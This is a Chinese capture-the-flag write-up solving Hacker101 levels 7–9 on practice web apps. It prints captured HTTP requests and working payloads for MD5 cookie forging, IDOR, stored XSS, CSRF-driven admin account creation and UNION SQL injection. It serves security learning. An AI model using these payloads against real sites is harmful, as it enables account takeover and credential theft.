玩转Hacker101 CTF（三）

hi，大家好，我又来啦，接着第一篇和第二篇的进度，这次为大家带来Hacker101 CTF的第七、八、九题：

废话不多说，上题！

第七题Postbook

这道题的难度定位为Easy，不是很难，但是Flag却有7个，涉及到多个漏洞，想要找全还是要费些功夫的。

打开主页：

看来是个类似留言板的web应用，要留言需要登陆，先用test:test注册个用户试试,

注册成功，回到登入界面,进入自己的主页：

这个页面有点多，我们需要细心观察，留意一下几点：

1.url地址为: http://xxxx/xxx/index.php?page=home.php ，这里可能有文件包含漏洞

2.上方导航栏的几个功能链接，需要一一测试

3.下方的 Create post 用于创建文本留言，注意 For my own eyes only 选项应该是控制创建的留言是否对所有人可见

4.下方出现了admin用户

5.最下方出现了user用户以及其公开的留言链接

我们先点击最下方的留言链接进去看看：

注意这里的url： http://xxxx/xxx/index.php?page=view.php?id=3

依照经验，这种自写的留言板系统往往会存在越权访问，所以刷新这个页面，用burpsuite抓下包，

GET /xxx/index.php?page=view.php&id=§2§ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xx/index.php?page=view.php&id=3
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5;
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

送到Intruder模块爆破一下id,将结果按Length排序：

注意几个长度与众不同的Response包，在其中找到两个flag：

为什么一下有两个flag呢，第一个id链接到了admin用户的私有留言上，考察越权访问，

另一个id比较大，应该是考察参数枚举吧！

这里我们既然可以访问到其他用户的留言，那么能不能编辑其他用户的留言呢？我们来尝试一下，首先点击导航栏的 Write a new post ，用当前用户创建一条留言：

点击 Create Post 创建留言:

点击 edit 链接，编辑:

看，本来属于admin用户的私人留言，现在我们也可以编辑了！

点击 Save post ，看，系统为了“奖励我们编辑了他人的留言”，给了我们一个flag：

接着试试能不能删除他人的留言呢？回到下面这个页面：

点击 delete 链接,注意将包抓下来：

GET /xxxx/index.php?page=delete.php&id=aab3238922bcc25a6f606eb525ffdc56 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=view.php&success=1&id=14&message=
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

注意与访问留言和编辑留言不同的是，删除链接url中的id是一个32的字符串， aab3238922bcc25a6f606eb525ffdc56 ,猜想这是一个hash值，把它放到md5解密网站跑了一下：

是个数字，由于hash不能逆向解密，所以我猜想删除留言功能有着以下处理逻辑：

...
$result = $db->execute("select id from posts);
foreach($result['id'] as id){
    if($_GET['id'] === id){
        $db->execute("delete from posts where id=$_GET['id']);
    }
}
...

那么我们如果想要删除id=2的留言(这条留言不属于我们的当前用户),只需要修改刚刚抓下的包中的id值为 md5("2") ，即 c81e728d9d4c2f636f067f89cc14862c ,再次发包即可：

看，又拿到一个flag！

至此，我们通过伪造信息编辑、修改、删除其他用户的post已经拿到了3个flag，想想还有什么，对！还有伪造他人进行留言，我们抓下创建post的包：

POST /xxx/index.php?page=create.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/index.php?page=create.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
Upgrade-Insecure-Requests: 1

title=abc&body=abc&user_id=5

如果正常发包，会为 user_id=5 的用户添加一条留言，那么如果修改 user_id=1 呢，修改完毕后再次发包：

又出现了一个flag。

继续，现在我们已经能够完全伪造另一个用户的所有动作了，那么我们能否通过某种方式伪造成其他用户登陆呢？一般来说服务器识别用户的方式是通过cookie，获取其他用户cookie的方式主要有两种：一是通过xss漏洞接受其他用户的cookie；二是破解cookie的构造方式伪造其他用户的cookie，例如：假如普通用户test的Cookie为： Cookie :"user_name":"test" ,那么我们有理由相信，admin用户的Cookie应该为: Cookie :"user_name":"admin" ,当然实际情况不会那么简单，往往还涉及到许多的密码学知识。

回到这道题上来，看一下当前用户的Cookie:

Cookie: id=e4da3b7fbbce2345d7772b0674a318d5
e4da3b7fbbce2345d7772b0674a318d5 貌似又是一个hash值，解密一下：

结果是5，猜测是代表用户id为5，那么如果想要伪造用户id为1的cookie，只需改为md5(“1”),即 c4ca4238a0b923820dcc509a6f75849b ,我们修改一下火狐的cookie：

然后刷新一下页面，访问 http://xxxx/xxx/index.php
果然出现了flag。

好的，现在一共拿到了6个flag，第7个flag我想了很久，sql注入、XSS、源码泄露等套路都试过了，还是没有找到，无奈之下只好查看提示：

WTF！这也行，算我输！抓下登录包，

送到Intruder,用弱口令字典爆破，一会就出了结果:

用user:password登入，拿到最后的flag

第八题(Ticketastic: Demo Instance)&第九题(Ticketastic: Live Instance)

第八题和第九题其实是一题，第八题没有flag，是第九题的web应用的测试版本，它的存在是为了给第九题以提示，第九题才是真正的生产环境。我们先打开第八题来看一下：

从功能和内容上判断这是一个信息反馈系统，任何人都可以提交Ticket,但只有管理员才能登陆查看所有的Ticket，并且告知我们admin用户的密码是admin，我们提交一个Ticket试试：

回到主页，用给我们的admin账号登陆：

可以看到我们刚刚提交的tikcet已经出现这里了，同时注意到这里还有创建用户的链接。

点开test是我们提交的ticket内容：

在这个页面我们有两点内容值得我们注意：

1.url： http://xxxx/xxx/ticket?id=2 ,我们试试访问 http://xxxx/xxx/ticket?id=2-1 ,显示：

这与访问 http://xxxx/xxx/ticket?id=1 的返回页面结果是一样的，说明这里可能有 sql 注入。

2.很显然，我们提交的内容被保存在了数据库里，并且在admin用户的页面呈现了出来，如果我们将ticket的内容换成XSS或者CSRF的payload，会不会让admin用户中招呢？我们来试一试，回到主页，提交一个ticket，title和body都填 <img src=x onerror=alert(1)> ,登入admin用户，刚登入就弹出了框框：

Good！既然这里可以XSS，我们可以怎样利用呢？一种思路是架个服务器接收admin用户的cookie（如果抓个包，可以看到cookie并没有设置httponly），然而这里的靶场不能外联，所以我放弃了这条思路，还有其他办法吗？CSRF有什么可以利用的点吗？注意到上面的 Create a new user 链接，我们能否结合这个功能来创建我们的用户呢？我们首先用admin用户的面板创建用户test:test，抓下包：

GET /xxx/newUser?username=test&password=test&password2=test HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xx.xx.xx.xx/xxx/newUser
Connection: close
Cookie: session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.D-pwWw.xIfxmh00wlGwcQUBFWC92kk6gTM
Upgrade-Insecure-Requests: 1

记下url请求： http://xxxx/xxx/newUser?username=root&password=123456&password2=123456 ,回到主页再次提交一个ticket，这次title和body都填:

<img src=newUser?username=root&password=123456&password2=123456>

然后再次登入admin用户：

查看最下方那张无法正常显示的图片：

payload正常，应该奏效了，回到登入页面，用root:123456成功登入！

好吧，测试版本系统的漏洞分析的差不多了，来研究一下上线版本吧！打开第九题：

界面和功能几乎是一样的，依然可以提交ticket和登入查看ticket，不过这次admin的密码改了，我们无法登入触发CSRF了，考虑了一下这边可能有机器人访问ticket页面，所以依旧采用刚刚的payload，提交一个ticket，title和body依然填

<img src='newUser?username=root&password=123456&password2=123456'> ,提交，然后回到登入页面，用root:123456登入，满怀希望看见Flag，然而：

没关系，换个要点击的payload，也许这个机器人会主动点击呢？

<a href="http://localhost/newUser?username=root&password=123456&password2=123456">haha</a>
尝试登陆:

成功！真是个奇怪的机器人！点击 Flag Won't Work ，拿到第一个Flag，注意下面的才是真Flag！

接下来，别忘了这里还有个sql注入漏洞，不过很奇怪，sqlmap居然跑不出来（如果有那位童鞋跑出来了可以和我说下)，所以只好手动注入，下面是过程：

http://xx.xx.xx.xx/xxx/ticket?id=1 order by 3 -- //判断为3列
http://xx.xx.xx.xx/xxx/ticker?id=10 union select id,username,password from users where username='admin' -- //表名和列名都是猜的｡ﾟ(ﾟ´ω`ﾟ)ﾟ｡很奇怪information_schema中居然查不到表名

结果显示，admin用户的密码就是第二个Flag：